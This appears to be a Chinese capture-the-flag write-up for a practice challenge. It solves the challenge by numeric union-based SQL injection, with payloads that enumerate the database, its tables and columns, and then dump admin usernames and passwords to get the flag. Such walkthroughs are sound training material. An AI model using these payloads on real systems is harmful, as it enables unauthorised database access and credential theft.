封神台--尤里的复仇Ⅰ小芳！

目录

第一章：为了女神小芳！

---

第一章：为了女神小芳！

进入传送门，点击超级链接。注入1/1和1/0，发现1/0有明显变化，1/1无变化，先确定为数字型注入。

注入1 order by n，n取1-3，当n为1和2时页面正常，当为3是页面异常，判断回显字段最多为2个。

注入100 union select 1,2，得到一个回显位(2)。

注入100 union select 1,database()回显出数据库(maoshe)。

注入100 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='maoshe')回显出数据库中的表(admin、dirs、news、xss)。

注入100 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='admin')回显admin表中的字段(Id、username、password )。

注入100 union select 1,(select group_concat(username) from admin)回显admin表中username字段(admin、ppt领取微信 )。

注入100 union select 1,(select group_concat(password) from admin)回显admin表中password字段(hellohack、zkaqbanban)，其中flag为hellohack。